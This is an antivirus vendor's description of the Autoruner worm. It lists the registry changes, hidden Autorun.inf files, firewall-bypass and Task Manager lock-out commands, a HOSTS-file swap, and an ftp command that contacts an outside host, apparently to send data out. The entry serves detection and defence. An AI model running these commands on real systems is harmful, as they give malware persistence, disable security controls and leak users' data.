Win32.HLLW.Autoruner.58391
Added to the Dr.Web virus database:
2011-09-09
Virus description added:
2011-09-09
Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'System' = '<SYSTEM32>\svcsrss.exe'
Creates the following files on removable media:
- <Drive name for removable media>:\Autorun.inf
Malicious functions:
To bypass firewall, removes or modifies the following registry keys:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\svcsrss.exe' = '<SYSTEM32>\svcsrss.exe:*:Enabled:Windows Updater'
Executes the following:
- <SYSTEM32>\ping.exe 127.0.0.1 -l 32500 -w 1 -n 1
- <SYSTEM32>\ping.exe 127.0.0.1 -l 32500 -w 1 -n 2
- <SYSTEM32>\attrib.exe +r +s +h "%HOMEPATH%\ConfiguraЗфes locais\Application Data\Microsoft\CD Burning\svcsrss.exe"
- <SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v System /t REG_SZ /d "<SYSTEM32>\svcsrss.exe" /f
- <SYSTEM32>\attrib.exe +r +s +h "%HOMEPATH%\ConfiguraЗфes locais\Application Data\Microsoft\CD Burning\Autorun.inf"
- <SYSTEM32>\attrib.exe -r -s -h C:\Autorun.inf
- <SYSTEM32>\attrib.exe +r +s +h <Drive name for removable media>:\Autorun.inf
- <SYSTEM32>\attrib.exe +r +s +h <Drive name for removable media>:\svcsrss.exe
- <SYSTEM32>\attrib.exe -r -s -h <Drive name for removable media>:\Autorun.inf
- <SYSTEM32>\attrib.exe +r +s +h C:\Autorun.inf
- <SYSTEM32>\attrib.exe +r +s +h C:\svcsrss.exe
- <SYSTEM32>\attrib.exe +r +s +h <SYSTEM32>\svcsrss.exe
- <SYSTEM32>\cacls.exe <SYSTEM32>\taskmgr.exe /e /d todos
- <SYSTEM32>\taskkill.exe /im ninja.exe /f /t
- %WINDIR%\explorer.exe "<Current directory>"
- <SYSTEM32>\taskkill.exe /im * /fi "WINDOWTITLE eq svcsrss" /f /t
- <SYSTEM32>\cacls.exe %WINDIR%\pchealth\helpctr\binaries\msconfig.exe /e /d todos
- <SYSTEM32>\cacls.exe <DRIVERS>\etc\hosts /e /p Todos:f
- <SYSTEM32>\ftp.exe -s:<SYSTEM32>\config\firmware.LOG ftp.xpg.com.br
- <SYSTEM32>\ipconfig.exe
- <SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v <SYSTEM32>\svcsrss.exe /t REG_SZ /d "<SYSTEM32>\svcsrss.exe:*:Enabled:Windows Updater" /f
- <SYSTEM32>\cacls.exe "<SYSTEM32>\regedit" /e /c /d Todos
Modifies file system :
Creates the following files:
- <SYSTEM32>\config\firmware.LOG
- C:\Autorun.inf
- <SYSTEM32>\config\USER-4BB09A9C02.LOG
- %TEMP%\~1.bat
- <SYSTEM32>\regedit
Sets the 'hidden' attribute to the following files:
- <Drive name for removable media>:\Autorun.inf
- C:\Autorun.inf
- %TEMP%\~1.bat
Deletes the following files:
- <SYSTEM32>\config\firmware.LOG
- <SYSTEM32>\config\USER-4BB09A9C02.LOG
Moves the following system files:
- from <DRIVERS>\etc\hosts to <DRIVERS>\etc\host1
Substitutes the HOSTS file.
Network activity:
Connects to:
- 'localhost':1039
- 'ft#.#pg.com.br':21
UDP:
Miscellaneous:
Searches for the following windows:
- ClassName: '' WindowName: ''
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